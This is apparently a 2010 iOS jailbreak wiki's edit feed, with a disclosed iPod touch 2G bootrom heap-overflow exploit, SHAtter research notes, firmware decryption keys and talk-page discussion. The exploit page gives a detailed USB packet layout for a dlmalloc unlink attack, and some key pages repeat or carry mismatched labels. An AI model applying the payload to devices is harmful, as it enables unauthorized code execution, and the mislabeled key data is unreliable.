I think this page should be moved to limera1n.app --[[User:Balloonhead66|Balloonhead66]] 18:39, 23 October 2010 (UTC)
:Why? Limera1n.app is the application installed by the ramdisk used in this jailbreak. Therefore, it's a very minute part of the jailbreak. Limera1n as a whole, consists of the initial exploit in the hardware, the exploit to achieve unsigned code exec., and etc. It's much more than a simple app for your phone. :P --[[User:Dra1nerdrake|dra1nerdrake]] 04:20, 19 November 2010 (UTC)
::Wrong, [[:/var/stash/Applications.*****/blackra1n.app]] is what is installed by the ramdisk. He uses blackra1n.app for blackra1n and limera1n. I know. I looked in my device, want proof, just use OpenSSH on a 4.1 device and you will see. Anyways, [[Cydia.app]], howabout blackra1n.app and limera1n.app? --[[User:Balloonhead66|Balloonhead66]] 04:24, 19 November 2010 (UTC)
:::Even better, the title limera1n.app means nothing. That's like saying we should move PwnageTool to pwnagetool.app or redsn0w to redsn0w.app. It's meaningless. :P --[[User:Dra1nerdrake|dra1nerdrake]] 04:28, 19 November 2010 (UTC)
::::Stop being anal about every little detail. blackra1n and limera1n are two different things. You can't just mix them together. limera1n is the jailbreak not the app. Please get your facts straight [[User:Balloonhead66|Balloonhead66]] Your behavior here is sometimes unappreciated. Please grow up. --[[User:Gamer765|Gamer765]] 06:05, 19 November 2010 (UTC)

Usb control msg(0xA1, 1) Exploit

2010-10-18T09:21:48Z

Pod2g:

{{DISPLAYTITLE:usb_control_msg(0xA1, 1) Exploit}}
A heap overflow exists in the [[N72ap|iPod touch 2G]] (both [[iBoot-240.4|old]] and [[iBoot-240.5.1|new]]) [[S5L8720 (Bootrom)|bootrom]]'s [[DFU Mode]] when sending a USB control message of request type 0xA1, request 0x1.

On newer devices, the same USB message triggers a double free() when the image upload is marked as finished, also rebooting the device (but that's not exploitable because the double free() happens in a row). [[User:posixninja|posixninja]] analyzed and explained this one.

== Credit (Alphabetical) ==
* '''vulnerability''': [[User:pod2g|pod2g]]
* '''exploitation''': [[User:pod2g|pod2g]]
* '''payload''': unreleased

== Vulnerability ==
By fuzzing all possible USB control messages of the [[N72ap|iPod touch 2G]]'s [[DFU Mode]], it appeared that one special usb control message made it reboot.
The reboot happens only with lengths bigger than 0x100 bytes. It's a buffer overflow.

== Exploitation ==
In order to exploit it, send this special USB packet (using 0x21, 1) :

<pre>
[ 0x100 bytes of nulls ]
/* free'd buffer dlmalloc header: */
0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk
0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk
/* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */
0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction
0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer
0xff, 0xff, 0xff, 0xff, // 0x10: (0x08)
0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (_replace with packet size_)
0x00, 0x01, 0x00, 0x00, // 0x18: (0x10)
0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14)
0x00, 0x00, 0x00, 0x00, // 0x20: (0x18)
0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c)
/* attack dlmalloc header: */
0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk
0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-)
0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start()
0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack
</pre>

Then trigger the exploit by using USB control message 0xA1, 1 with the same data size.

free() LR in stack will be replaced by FD, a pointer to the shellcode to execute!

Note: FD[0xc] will also be overwritten by BK (because of the free() unlink code), the first instruction of the shellcode
shall jump to FD[0x10] to skip the junk.

[[Category:Exploits]]

Usb control msg(0xA1, 1) Exploit

2010-10-18T09:21:24Z

Pod2g:

{{DISPLAYTITLE:steaks4uce - usb_control_msg(0xA1, 1) Exploit}}
A heap overflow exists in the [[N72ap|iPod touch 2G]] (both [[iBoot-240.4|old]] and [[iBoot-240.5.1|new]]) [[S5L8720 (Bootrom)|bootrom]]'s [[DFU Mode]] when sending a USB control message of request type 0xA1, request 0x1.

On newer devices, the same USB message triggers a double free() when the image upload is marked as finished, also rebooting the device (but that's not exploitable because the double free() happens in a row). [[User:posixninja|posixninja]] analyzed and explained this one.

== Credit (Alphabetical) ==
* '''vulnerability''': [[User:pod2g|pod2g]]
* '''exploitation''': [[User:pod2g|pod2g]]
* '''payload''': unreleased

== Vulnerability ==
By fuzzing all possible USB control messages of the [[N72ap|iPod touch 2G]]'s [[DFU Mode]], it appeared that one special usb control message made it reboot.
The reboot happens only with lengths bigger than 0x100 bytes. It's a buffer overflow.

== Exploitation ==
In order to exploit it, send this special USB packet (using 0x21, 1) :

<pre>
[ 0x100 bytes of nulls ]
/* free'd buffer dlmalloc header: */
0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk
0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk
/* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */
0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction
0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer
0xff, 0xff, 0xff, 0xff, // 0x10: (0x08)
0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (_replace with packet size_)
0x00, 0x01, 0x00, 0x00, // 0x18: (0x10)
0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14)
0x00, 0x00, 0x00, 0x00, // 0x20: (0x18)
0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c)
/* attack dlmalloc header: */
0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk
0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-)
0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start()
0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack
</pre>

Then trigger the exploit by using USB control message 0xA1, 1 with the same data size.

free() LR in stack will be replaced by FD, a pointer to the shellcode to execute!

Note: FD[0xc] will also be overwritten by BK (because of the free() unlink code), the first instruction of the shellcode
shall jump to FD[0x10] to skip the junk.

[[Category:Exploits]]

Usb control msg(0xA1, 1) Exploit

2010-09-29T15:00:26Z

Pod2g:

Usb control msg(0xA1, 1) Exploit

2010-09-29T14:58:58Z

Pod2g:

This is an unsigned code execution vulnerability that resides in DFU mode of the [[S5L8930]] bootrom.

Uses of this exploit have already involved uploading a pwned iBSS/iBEC to provide access to the AES engine and to run custom ramdisks.

== Credits ==
* '''vulnerability''': [[User:posixninja|posixninja]] (07/05/2010)
* '''research''': [[User:posixninja|posixninja]], [[User:pod2g|pod2g]], also [[User:MuscleNerd|MuscleNerd]]
* '''exploit''': [[User:pod2g|pod2g]] (09/09/2010)

== Vulnerability ==
In April 2010 [[User:pod2g|pod2g]] wrote a USB fuzzer and tested every single USB control message possible on his iPod2,1.
The fuzzer found 2 vulnerabilities:
- a heap overflow caused by the A1,1 control message
- a way to dump the bootrom using USB descriptors request

The team tested both PoC on new generation devices (iPhone2,1, iPod3,1, iPad) and both were already fixed by Apple.

[[User:posixninja|posixninja]] continued the fuzzing on new gens and found that with a particular sequence of USB messages it was possible to dump the BSS+Heap+Stack (on new gens only).
Having a memory dump is really helpful to make exploits and it was also the first time we had this kind of dump, previous bootrom exploits (ex: 24kpwn) were done blind!

Also, his first attempts to dump the memory resulted in rebooting the device. Interesting! We'll see after that this reboot is the base of the SHAtter exploit.

(details on the vulnerability itself soon to come)

== Research ==
The research started and the main actor of this story is [[User:posixninja|posixninja]].
He found why the device reboots and proposed different ideas to exploit this. [[User:posixninja|posixninja]] also reversed tons of assembly code of the bootrom in this period, giving a support discussion to the team.
We're not talking about days, but months of work.
So, major props to [[User:posixninja|posixninja]]: SHAtter would not have been possible without the clever vulnerability he found and the research he did on the bootrom.

In the meanwhile, [[User:pod2g|pod2g]] helped on the USB reversing side and found a way to have more control over the size of the USB packets sent. The finer-grained control of the packet sizes is the key of SHAtter.

[[User:posixninja|posixninja]] and [[User:pod2g|pod2g]] worked on exploiting the vulnerability for days. Every attempt was a failure because the idea to attack the stack and bypass the img3 control routines was just impossible. It took them weeks to understand why they failed and why they couldn't exploit it this way.

They both gave up in July and focused on other subjects.

== SHAtter exploit ==

(details on the SHAtter exploit soon to come)

Usb control msg(0xA1, 1) Exploit

2010-09-29T14:57:58Z

Pod2g:

This is an unsigned code execution vulnerability that resides in DFU mode of the [[S5L8930]] bootrom.

Uses of this exploit have already involved uploading a pwned iBSS/iBEC to provide access to the AES engine and to run custom ramdisks.

== Credits ==
* '''vulnerability''': [[User:posixninja|posixninja]] (07/05/2010)
* '''research''': [[User:posixninja|posixninja]], [[User:pod2g|pod2g]], also [[User:MuscleNerd|MuscleNerd]]
* '''exploit''': [[User:pod2g|pod2g]] (09/09/2010)

== Vulnerability ==
In April 2010 [[User:pod2g|pod2g]] wrote a USB fuzzer and tested every single USB control message possible on his iPod2,1.
The fuzzer found 2 vulnerabilities:
- a heap overflow caused by the A1,1 control message
- a way to dump the bootrom using USB descriptors request

The team tested both PoC on new generation devices (iPhone2,1, iPod3,1, iPad) and both were already fixed by Apple.

[[User:posixninja|posixninja]] continued the fuzzing on new gens and found that with a particular sequence of USB messages it was possible to dump the BSS+Heap+Stack (on new gens only).
Having a memory dump is really helpful to make exploits and it was also the first time we had this kind of dump, previous bootrom exploits (ex: 24kpwn) were done blind!

Also, his first attempts to dump the memory resulted in rebooting the device. Interesting! We'll see after that this reboot is the base of the SHAtter exploit.

(details on the vulnerability itself soon to come)

== Research ==
The research started and the main actor of this story is [[User:posixninja|posixninja]].
He found why the device reboots and proposed different ideas to exploit this. [[User:posixninja|posixninja]] also reversed tons of assembly code of the bootrom in this period, giving a support discussion to the team.
We're not talking about days, but months of work.
So, major props to [[User:posixninja|posixninja]]: SHAtter would not have been possible without the clever vulnerability he found and the research he did on the bootrom.

In the meanwhile, [[User:pod2g|pod2g]] helped on the USB reversing side and found a way to have more control over the size of the USB packets sent. The finer-grained control of the packet sizes is the key of SHAtter.

[[User:posixninja|posixninja]] and [[User:pod2g|pod2g]] worked on exploiting the vulnerability for days. Every attempt was a failure because the idea to attack the stack and bypass the img3 control routines was just impossible. It took them weeks to understand why they failed and why they couldn't exploit it this way.

They both gave up in July and focused on other subjects.

SHAtter exploit:

(details on the SHAtter exploit soon to come)

Wildcat 7B500 (iPad1,1)

2010-09-27T19:51:34Z

Pod2g:

Wildcat 7B500 is iOS 3.2.2.

== Decryption Keys ==
=== Root Filesystem () ===
*'''[[VFDecrypt Keys|VFDecrypt]] Key''':

=== [[Update Ramdisk]] () ===
* '''IV''':
* '''Key''':

=== [[Restore Ramdisk]] () ===
* '''IV''':
* '''Key''':

=== AppleLogo ===
* '''IV''': 743a4d54b0da0b23662885bd6a8a9ce1
* '''Key''': aae7b027f6d797b0a95459a13b1c0d9749f2279a5de4356239ddf34ede15fd39

=== BatteryCharging0 ===
* '''IV''': ca2515a2fbfcfab8ce7a47b6cba1b876
* '''Key''': 1312baba3b441ff21c1ab71bedb812747613b59aa09d04e323de52ab0f61129b

=== BatteryCharging1 ===
* '''IV''': 7503542226c2798c39f703505820aa60
* '''Key''': f0b999bf581a0dee8863a53ec78b5dc6e5f4f3b22ac1351581507884922d7eb8

=== BatteryFull ===
* '''IV''': fce6ea7541baca8b3003791d2efc155c
* '''Key''': 1077d59ceeae77e6ec6b380fcecd0e6922a24c50c61116af9a7ac183779da042

=== BatteryLow0 ===
* '''IV''': db114d8b404363aa0a093ef96eb8b2ae
* '''Key''': b6ea4e0377f87f3b0f5cc53ce8557560b33af64d0cf5a02fbf1e58cde0b72d80

=== BatteryLow1 ===
* '''IV''': 5c82e6ac3d35183cf1a0c78523c35f6e
* '''Key''': 72a8537c4f1858ea7969190ddb297b48a7ccbe63bf929c4826e437b60f3f0ebc

=== DeviceTree ===
* '''IV''': 3f48a3e3a7bc563824a488fbd1f51639
* '''Key''': 21395bd5848bea1df6a18b62de234b4bb3b9ce67b7fd6a4e6a968780e805a1a3

=== GlyphCharging ===
* '''IV''': 70f5515133cab74d5852956d4e26d8b1
* '''Key''': 850a70fe9fb050c934424ae8c39293d239d89bef523246993cddc40c8cfd3a63

=== GlyphPlugin ===
* '''IV''': 51ad1b46301e2bcd9ddfe6b4a775a29a
* '''Key''': bd23381af4381f8bbb4ec816361b1f072e5be37542ca53d6afdb8b0e9c5d726c

=== [[iBEC]] ===
* '''IV''': 7cc0fcf856d754d163efafa7ab751ef1
* '''Key''': 11d18ab20469d399c1bfc0a30159499024eb393b5fe4fecdf6b049e119071fed

=== [[iBoot]] ===
* '''IV''': 1fde75187fea653b42170b71c9b4844e
* '''Key''': 8eb56b03a0e081dd175d3d076c5b07eca73847d27c93186783059728a1a1831d

=== [[iBSS]] ===
* '''IV''': 3a0ad7cf0f172bc3736af2099a4a89b4
* '''Key''': 0dcdc5bdc0d991020222c0e7b7d11305466f0ef831964c5fc9325f05e32b1a09

=== [[Kernelcache]] ===
* '''IV''': f89438cd21803ce315d98c032c4e6c27
* '''Key''': f8a5166b935ab9593872065cc25ea2b3824ddc3799a83b47e55d1d046d0522ac

=== [[LLB]] ===
* '''IV''': a00118ed3a126fe16781a080f2b1d6bd
* '''Key''': 910fd0fd2bb43ad4aad2496a835c2c90f62aa6fda61419b087187f19c25b5959

=== RecoveryMode ===
* '''IV''': 9d88f32f9cbda46d323d85add8292bec
* '''Key''': dfc2bb2afdcb7b9ab1cd67da8de051fb4f32b851d42444eDfe8bbedf5c36a2b3

Wildcat 7B500 (iPad1,1)

2010-09-27T19:46:03Z

Pod2g:

Baker 8B117 is iOS 4.1.

== Decryption Keys ==
=== Root Filesystem () ===
*'''[[VFDecrypt Keys|VFDecrypt]] Key''':

=== [[Update Ramdisk]] () ===
* '''IV''':
* '''Key''':

=== [[Restore Ramdisk]] () ===
* '''IV''':
* '''Key''':

=== AppleLogo ===
* '''IV''': 743a4d54b0da0b23662885bd6a8a9ce1
* '''Key''': aae7b027f6d797b0a95459a13b1c0d9749f2279a5de4356239ddf34ede15fd39

=== BatteryCharging0 ===
* '''IV''': ca2515a2fbfcfab8ce7a47b6cba1b876
* '''Key''': 1312baba3b441ff21c1ab71bedb812747613b59aa09d04e323de52ab0f61129b

=== BatteryCharging1 ===
* '''IV''': 7503542226c2798c39f703505820aa60
* '''Key''': f0b999bf581a0dee8863a53ec78b5dc6e5f4f3b22ac1351581507884922d7eb8

=== BatteryFull ===
* '''IV''': fce6ea7541baca8b3003791d2efc155c
* '''Key''': 1077d59ceeae77e6ec6b380fcecd0e6922a24c50c61116af9a7ac183779da042

=== BatteryLow0 ===
* '''IV''': db114d8b404363aa0a093ef96eb8b2ae
* '''Key''': b6ea4e0377f87f3b0f5cc53ce8557560b33af64d0cf5a02fbf1e58cde0b72d80

=== BatteryLow1 ===
* '''IV''': 5c82e6ac3d35183cf1a0c78523c35f6e
* '''Key''': 72a8537c4f1858ea7969190ddb297b48a7ccbe63bf929c4826e437b60f3f0ebc

=== DeviceTree ===
* '''IV''': 3f48a3e3a7bc563824a488fbd1f51639
* '''Key''': 21395bd5848bea1df6a18b62de234b4bb3b9ce67b7fd6a4e6a968780e805a1a3

=== GlyphCharging ===
* '''IV''': 70f5515133cab74d5852956d4e26d8b1
* '''Key''': 850a70fe9fb050c934424ae8c39293d239d89bef523246993cddc40c8cfd3a63

=== GlyphPlugin ===
* '''IV''': 51ad1b46301e2bcd9ddfe6b4a775a29a
* '''Key''': bd23381af4381f8bbb4ec816361b1f072e5be37542ca53d6afdb8b0e9c5d726c

=== [[iBEC]] ===
* '''IV''': 7cc0fcf856d754d163efafa7ab751ef1
* '''Key''': 11d18ab20469d399c1bfc0a30159499024eb393b5fe4fecdf6b049e119071fed

=== [[iBoot]] ===
* '''IV''': 1fde75187fea653b42170b71c9b4844e
* '''Key''': 8eb56b03a0e081dd175d3d076c5b07eca73847d27c93186783059728a1a1831d

=== [[iBSS]] ===
* '''IV''': 3a0ad7cf0f172bc3736af2099a4a89b4
* '''Key''': 0dcdc5bdc0d991020222c0e7b7d11305466f0ef831964c5fc9325f05e32b1a09

=== [[Kernelcache]] ===
* '''IV''': f89438cd21803ce315d98c032c4e6c27
* '''Key''': f8a5166b935ab9593872065cc25ea2b3824ddc3799a83b47e55d1d046d0522ac

=== [[LLB]] ===
* '''IV''': a00118ed3a126fe16781a080f2b1d6bd
* '''Key''': 910fd0fd2bb43ad4aad2496a835c2c90f62aa6fda61419b087187f19c25b5959

=== RecoveryMode ===
* '''IV''': 9d88f32f9cbda46d323d85add8292bec
* '''Key''': dfc2bb2afdcb7b9ab1cd67da8de051fb4f32b851d42444eDfe8bbedf5c36a2b3

Wildcat 7B500 (iPad1,1)

2010-09-27T19:45:12Z

Pod2g: New page: Baker 8B117 is iOS 4.1. == Decryption Keys == === Root Filesystem (018-8374-001.dmg) === *'''VFDecrypt Key''': === Update Ramdisk (018-8375-001.dmg) === * '''IV''...

Baker 8B117 is iOS 4.1.

== Decryption Keys ==
=== Root Filesystem (018-8374-001.dmg) ===
*'''[[VFDecrypt Keys|VFDecrypt]] Key''':

=== [[Update Ramdisk]] (018-8375-001.dmg) ===
* '''IV''':
* '''Key''':

=== [[Restore Ramdisk]] (018-7082-092.dmg) ===
* '''IV''':
* '''Key''':

=== AppleLogo ===
* '''IV''': 743a4d54b0da0b23662885bd6a8a9ce1
* '''Key''': aae7b027f6d797b0a95459a13b1c0d9749f2279a5de4356239ddf34ede15fd39

=== BatteryCharging0 ===
* '''IV''': ca2515a2fbfcfab8ce7a47b6cba1b876
* '''Key''': 1312baba3b441ff21c1ab71bedb812747613b59aa09d04e323de52ab0f61129b

=== BatteryCharging1 ===
* '''IV''': 7503542226c2798c39f703505820aa60
* '''Key''': f0b999bf581a0dee8863a53ec78b5dc6e5f4f3b22ac1351581507884922d7eb8

=== BatteryFull ===
* '''IV''': fce6ea7541baca8b3003791d2efc155c
* '''Key''': 1077d59ceeae77e6ec6b380fcecd0e6922a24c50c61116af9a7ac183779da042

=== BatteryLow0 ===
* '''IV''': db114d8b404363aa0a093ef96eb8b2ae
* '''Key''': b6ea4e0377f87f3b0f5cc53ce8557560b33af64d0cf5a02fbf1e58cde0b72d80

=== BatteryLow1 ===
* '''IV''': 5c82e6ac3d35183cf1a0c78523c35f6e
* '''Key''': 72a8537c4f1858ea7969190ddb297b48a7ccbe63bf929c4826e437b60f3f0ebc

=== DeviceTree ===
* '''IV''': 3f48a3e3a7bc563824a488fbd1f51639
* '''Key''': 21395bd5848bea1df6a18b62de234b4bb3b9ce67b7fd6a4e6a968780e805a1a3

=== GlyphCharging ===
* '''IV''': 70f5515133cab74d5852956d4e26d8b1
* '''Key''': 850a70fe9fb050c934424ae8c39293d239d89bef523246993cddc40c8cfd3a63

=== GlyphPlugin ===
* '''IV''': 51ad1b46301e2bcd9ddfe6b4a775a29a
* '''Key''': bd23381af4381f8bbb4ec816361b1f072e5be37542ca53d6afdb8b0e9c5d726c

=== [[iBEC]] ===
* '''IV''': 7cc0fcf856d754d163efafa7ab751ef1
* '''Key''': 11d18ab20469d399c1bfc0a30159499024eb393b5fe4fecdf6b049e119071fed

=== [[iBoot]] ===
* '''IV''': 1fde75187fea653b42170b71c9b4844e
* '''Key''': 8eb56b03a0e081dd175d3d076c5b07eca73847d27c93186783059728a1a1831d

=== [[iBSS]] ===
* '''IV''': 3a0ad7cf0f172bc3736af2099a4a89b4
* '''Key''': 0dcdc5bdc0d991020222c0e7b7d11305466f0ef831964c5fc9325f05e32b1a09

=== [[Kernelcache]] ===
* '''IV''': f89438cd21803ce315d98c032c4e6c27
* '''Key''': f8a5166b935ab9593872065cc25ea2b3824ddc3799a83b47e55d1d046d0522ac

=== [[LLB]] ===
* '''IV''': a00118ed3a126fe16781a080f2b1d6bd
* '''Key''': 910fd0fd2bb43ad4aad2496a835c2c90f62aa6fda61419b087187f19c25b5959

=== RecoveryMode ===
* '''IV''': 9d88f32f9cbda46d323d85add8292bec
* '''Key''': dfc2bb2afdcb7b9ab1cd67da8de051fb4f32b851d42444eDfe8bbedf5c36a2b3

Baker 8B117 (iPod4,1)

2010-09-26T15:49:05Z

Pod2g: New page: Baker 8B117 is iOS 4.1. == Decryption Keys == === Root Filesystem === *'''VFDecrypt Key''': === Update Ramdisk (018-7074-092.dmg) === * '''IV''': 4445214ed192b6cc...

Baker 8B117 is iOS 4.1.

== Decryption Keys ==
=== Root Filesystem ===
*'''[[VFDecrypt Keys|VFDecrypt]] Key''':

=== [[Update Ramdisk]] (018-7074-092.dmg) ===
* '''IV''': 4445214ed192b6ccfe6953c6ae80c55e
* '''Key''': 7f50d391295747a06d03cdb2ae536fa089a368e473a470148f44750712c58105

=== [[Restore Ramdisk]] (018-7082-092.dmg) ===
* '''IV''': 103ae8786d55bebdea996a56706641c9
* '''Key''': a80b3c27041f09d4554bbf4af59dd5bcea38bd4fe2faf82d8d6f62853ec6b337

=== AppleLogo ===
* '''IV''': e01950e29b6dab9990555041916ecabf
* '''Key''': 3f1c88e1297b29db7dccee73aaf66076f04abd17180ecad87d2fd993fbd97800

=== BatteryCharging0 ===
* '''IV''': 8fc19d578743ce25e5cafd7a6af6bfc4
* '''Key''': 96415f515e21b485cd7c2ca8d2daffd747f629ceb00ddbb260d0fb6d3be27085

=== BatteryCharging1 ===
* '''IV''': 58c85d4a6db5d714c3ac73f406ef5db3
* '''Key''': 1b6ae72875b6bb0d060027ab711009472ce238b8de5d18132f54ab61791a8dfb

=== BatteryFull ===
* '''IV''': 0913cdec90342840d372ad027c8abdec
* '''Key''': 46466217bb4f87f6f5f70af0021b5c41301dcc3e19d0f5d8fcb352ce2c2d90f3

=== BatteryLow0 ===
* '''IV''': c9739f169b2cdcd0780fe1f292ea79be
* '''Key''': f3d0007e984aa9201a6a87cb4d76835717255e6b6caaade4039d3f8899231b74

=== BatteryLow1 ===
* '''IV''': bbc56f1b02a1d8e415bb44ec79e1e138
* '''Key''': 976ca0a3f2d1aaaede1db3ba986a000f4db6b355c7636479b62c3f22c3462442

=== DeviceTree ===
* '''IV''': 130d84ea95928a861e4137a7443a226f
* '''Key''': e038c11f657d2a84953ab7b0f1bdcc6c2676d8fa58740c07a25914e3817ee918

=== GlyphCharging ===
* '''IV''': 2157ba97f0e6fe664919a1a6b9a3de22
* '''Key''': cafa39e18b56b6135d01618aeb156bf221d936b9f9cb9179a6c86bf976af8ebe

=== GlyphPlugin ===
* '''IV''': b51a5ad694ff975c17f9124ed7fc5f69
* '''Key''': 84ea87beb4bb8d0b77ca391008a4cd4877fd2cb0107e3c6b78a5341a858550d1

=== [[iBEC]] ===
* '''IV''': 3b7db12125cfd030aa8bfba1fac81078
* '''Key''': 106a8f42a14e653a0ffd5c0781a7ec794cb98493839c5428e2a14d07865dd442

=== [[iBoot]] ===
* '''IV''': e86ec8668ca7e9d3d6e77f4a6493cff5
* '''Key''': 6d4db59b6aa0188e0f7e89ad51923da18d19d684d90c26606218b76ee661ba55

=== [[iBSS]] ===
* '''IV''': c58929f652c1c086f70f941f3bb31058
* '''Key''': 358e67475d675410517ccbfcbbc38fa4c56d0e892b627460851a1fa5e9b430ab

=== [[Kernelcache]] ===
* '''IV''': 69d8e834a775e8959266815dbd54f10d
* '''Key''': a939e1600aea7c03f35e4189f1280971e4779c084aef5be09d111184daa23d34

=== [[LLB]] ===
* '''IV''': 5df7acef70694d6c4cd18fec2210d4e2
* '''Key''': 70dccf3f103695034902c10dd35ddb5c6999bde0e4d719938d1f0e51d518a3e9

=== RecoveryMode ===
* '''IV''': 23ce20be1832a2b628357b2a4637f4ba
* '''Key''': ba4e5862c1bfe3986acf384898f6c2be3c0a96c7619c886219b268ad86b36e05

Baker 8B117 (iPhone3,1)

2010-09-26T15:37:36Z

Pod2g:

Baker 8B117 is iOS 4.1.

== Decryption Keys ==
=== Root Filesystem ===
*'''[[VFDecrypt Keys|VFDecrypt]] Key''':

=== [[Update Ramdisk]] (018-7074-092.dmg) ===
* '''IV''': 4445214ed192b6ccfe6953c6ae80c55e
* '''Key''': 7f50d391295747a06d03cdb2ae536fa089a368e473a470148f44750712c58105

=== [[Restore Ramdisk]] (018-7082-092.dmg) ===
* '''IV''': 103ae8786d55bebdea996a56706641c9
* '''Key''': a80b3c27041f09d4554bbf4af59dd5bcea38bd4fe2faf82d8d6f62853ec6b337

=== AppleLogo ===
* '''IV''': e01950e29b6dab9990555041916ecabf
* '''Key''': 3f1c88e1297b29db7dccee73aaf66076f04abd17180ecad87d2fd993fbd97800

=== BatteryCharging0 ===
* '''IV''': 8fc19d578743ce25e5cafd7a6af6bfc4
* '''Key''': 96415f515e21b485cd7c2ca8d2daffd747f629ceb00ddbb260d0fb6d3be27085

=== BatteryCharging1 ===
* '''IV''': 58c85d4a6db5d714c3ac73f406ef5db3
* '''Key''': 1b6ae72875b6bb0d060027ab711009472ce238b8de5d18132f54ab61791a8dfb

=== BatteryFull ===
* '''IV''': 0913cdec90342840d372ad027c8abdec
* '''Key''': 46466217bb4f87f6f5f70af0021b5c41301dcc3e19d0f5d8fcb352ce2c2d90f3

=== BatteryLow0 ===
* '''IV''': c9739f169b2cdcd0780fe1f292ea79be
* '''Key''': f3d0007e984aa9201a6a87cb4d76835717255e6b6caaade4039d3f8899231b74

=== BatteryLow1 ===
* '''IV''': bbc56f1b02a1d8e415bb44ec79e1e138
* '''Key''': 976ca0a3f2d1aaaede1db3ba986a000f4db6b355c7636479b62c3f22c3462442

=== DeviceTree ===
* '''IV''': c6aca9cbfad934d789ae1b0274907b1f
* '''Key''': 5a97e72449c93c465984c2661bcd78a681ab5e505edf38bf3e3094a4af2644d1

=== GlyphCharging ===
* '''IV''': 2157ba97f0e6fe664919a1a6b9a3de22
* '''Key''': cafa39e18b56b6135d01618aeb156bf221d936b9f9cb9179a6c86bf976af8ebe

=== GlyphPlugin ===
* '''IV''': b51a5ad694ff975c17f9124ed7fc5f69
* '''Key''': 84ea87beb4bb8d0b77ca391008a4cd4877fd2cb0107e3c6b78a5341a858550d1

=== [[iBEC]] ===
* '''IV''': fe47eae4d54b1d02f096e694e21f2967
* '''Key''': 71fc41981edea73b324edfa22585a0f7cb888f370239e36262832f8df9018e85

=== [[iBoot]] ===
* '''IV''': 3bce158df77289028e07c49ea90294d2
* '''Key''': cc77943e52741e0d2df0f1dd0ea9f8aa258179b9d0e992918247913d425db962

=== [[iBSS]] ===
* '''IV''': c2c5416472e5a0d6f0a25a123d5a2b1c
* '''Key''': 1fbc7dcafaec21a150a51eb0eb99367550e24a077b128831b28c065e61f894a0

=== [[Kernelcache]] ===
* '''IV''': a52166be88417c9a4db00b838512e664
* '''Key''': 19701b9ceac9811d25a5a9cc1718d8b8347ac432c1e8c0660f97fe9cddeb964c

=== [[LLB]] ===
* '''IV''': 2f9f07766a87a192aa0cb6ef6b499f7f
* '''Key''': 4910e1feb1159887cf8fc8f5a77bbdbeaf4dfd18765409406ec03d269db28ba5

=== RecoveryMode ===
* '''IV''': 23ce20be1832a2b628357b2a4637f4ba
* '''Key''': ba4e5862c1bfe3986acf384898f6c2be3c0a96c7619c886219b268ad86b36e05

User talk:Pod2g

2010-09-23T06:44:55Z

Pod2g: /* Size */

Contents on arm7_go on this page was false.

Talk:Usb control msg(0xA1, 1) Exploit

2010-09-21T20:01:30Z

Pod2g:

Is this even suppose to be here? :S

[[User:Ih8sn0w|iH8sn0w]] 00:31, 21 September 2010 (UTC)
:[[User:Pod2g|Pod2g]] posted it himself so I don't see much of a problem for it as it doesn't sound like it will work on new devices. --[[User:OMEGA_RAZER|OMEGA_RAZER]]

So would this exploit lead to a tethered jailbreak or would it be untethered? --[[User:JacobVengeance|JacobVengeance]] 01:50, 21 September 2010 (UTC)

:Tethered. This just allows unsigned code execution to be performed regardless of SHSH or model revision at the DFU/bootrom level. This is useful for redsn0w or blackra1n type hacks as they provide a quick and unclosable exploit to perform the actual jailbreak. Functionally, this replaces the need for sending 2.1.1 iBSS + iBEC to use Arm7Go or the 3.1.2 iBSS/iBEC (if that can even be done?) for that other USB control msg exploit in 3.1.2 iBoot. [[User:Iemit737|Iemit737]] 02:37, 21 September 2010 (UTC)

the new bootrom ipod touch 2g where ipod touch 3g so will this exploit work on ipod3g and iphone 3gs --[[User:Liamchat|liamchat]] 14:51, 21 September 2010 (UTC)

:I don't completely understand your question, but no, this exploit will work on nothing other than the 2nd generation iPod touch (and is not particularly big news, since we can already run unsigned code on the second gen touch). [[User:AriX|AriX]] 18:01, 21 September 2010 (UTC)

[[User:Pod2g|Pod2g]] : I released this one because it's old devices only (Apple engineers already found and fixed it).
The good thing about it, is that it's a way to execute unsigned assembly code easily ''in the context of the bootrom''.
Researchers can use it to explore the bootrom, try things, etc. Also, maybe it could be useful for iDroid ?

Talk:Usb control msg(0xA1, 1) Exploit

2010-09-21T20:00:38Z

Pod2g:

Is this even suppose to be here? :S

[[User:Ih8sn0w|iH8sn0w]] 00:31, 21 September 2010 (UTC)
:[[User:Pod2g|Pod2g]] posted it himself so I don't see much of a problem for it as it doesn't sound like it will work on new devices. --[[User:OMEGA_RAZER|OMEGA_RAZER]]

So would this exploit lead to a tethered jailbreak or would it be untethered? --[[User:JacobVengeance|JacobVengeance]] 01:50, 21 September 2010 (UTC)

:Tethered. This just allows unsigned code execution to be performed regardless of SHSH or model revision at the DFU/bootrom level. This is useful for redsn0w or blackra1n type hacks as they provide a quick and unclosable exploit to perform the actual jailbreak. Functionally, this replaces the need for sending 2.1.1 iBSS + iBEC to use Arm7Go or the 3.1.2 iBSS/iBEC (if that can even be done?) for that other USB control msg exploit in 3.1.2 iBoot. [[User:Iemit737|Iemit737]] 02:37, 21 September 2010 (UTC)

